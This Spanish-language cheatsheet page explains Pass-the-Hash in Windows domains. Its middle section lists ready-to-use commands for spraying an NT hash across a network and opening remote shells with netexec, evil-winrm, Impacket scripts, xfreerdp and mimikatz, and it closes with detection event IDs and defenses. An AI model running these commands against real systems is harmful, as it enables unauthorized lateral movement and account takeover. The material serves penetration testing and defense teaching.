Pass-the-Hash
Arsenal completo de comandos en la cheatsheetPass-the-Hash (PtH) permite autenticarse usando solo el hash NT de una contraseña, nunca el texto plano. Es la forma más directa de moverse lateralmente en un dominio una vez tienes un hash: no hace falta crackearlo.
Por qué funciona. La autenticación NTLM demuestra que conoces la contraseña usando su hash NT como clave en un reto-respuesta, no la contraseña en sí. Para NTLM, por tanto, el hash es la contraseña: quien lo tiene puede autenticarse aunque no sepa el texto plano. Los hashes salen de un DCSync, de un volcado de LSASS, de la SAM local o de un secretsdump previo.
El abuso. Muchas herramientas aceptan un hash donde normalmente pedirían una contraseña (flag -H o --hashes), sobre SMB, WMI o WinRM. El paso clave suele ser barrer el hash por la red para ver dónde esa cuenta es administrador local, que es lo que convierte un hash en movimiento lateral.
# 1) rociar el hash por un rango y ver donde da admin local
netexec smb <rango> -u <user> -H <hash-NT>
# 2) donde salga (Pwn3d!), abrir shell por el canal que convenga
evil-winrm -i <ip> -u <user> -H <hash-NT>
psexec.py <domain>/<user>@<ip> -hashes :<hash-NT>
wmiexec.py <domain>/<user>@<ip> -hashes :<hash-NT>
smbexec.py <domain>/<user>@<ip> -hashes :<hash-NT>
atexec.py <domain>/<user>@<ip> -hashes :<hash-NT> whoami
# MSSQL y RDP con el hash
mssqlclient.py <domain>/<user>@<ip> -hashes :<hash-NT> -windows-auth
xfreerdp /v:<ip> /u:<user> /pth:<hash-NT>
# en Windows, mimikatz lanza un proceso con la identidad del hash
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash-NT> /run:cmd.exeVerificación. El (Pwn3d!) de netexec o una shell abierta es la prueba de que el hash sirve en ese host; no basta con que la autenticación no falle, hay que confirmar el nivel de acceso.
Matiz. PtH es un ataque NTLM, no Kerberos: si el entorno fuerza Kerberos o mete la cuenta en el grupo Protected Users, el hash NT deja de valer (ahí se pasa a overpass-the-hash con la clave Kerberos). Nunca aprendes la contraseña, así que servicios que exigen el texto plano (algunos portales web) quedan fuera. Y lo que hace que el hash se propague es la reutilización del admin local entre equipos: si cada máquina tiene una contraseña de admin local distinta (LAPS), el mismo hash no abre la siguiente. Ver reutilización de credenciales.
Cómo detectarlo. PtH es autenticación NTLM, así que deja Event ID 4624 (inicio de sesión) de tipo 3 (red) con Authentication Package NTLM y Logon Process NtLmSsp, acompañado en el DC de un 4776 (el equipo intentó validar las credenciales de una cuenta). Las señales de alta fidelidad son: NTLM contra un host donde esa cuenta debería usar Kerberos, la misma cuenta autenticándose por NTLM contra muchos equipos en poco tiempo (el spray del hash) y, en el origen, un 4624 de tipo 9 con Logon Process seclogo (el sekurlsa::pth de Mimikatz lanza el proceso con credenciales alternativas). Un spray fallido salpica además de 4625 por varios hosts.
Defensa. LAPS para que el admin local sea único por host, grupo Protected Users y bloqueo de NTLM en cuentas privilegiadas, protección de LSASS / Credential Guard para que no se puedan volcar hashes, y restringir dónde inician sesión las cuentas de Tier-0 para que su hash no acabe en una workstation.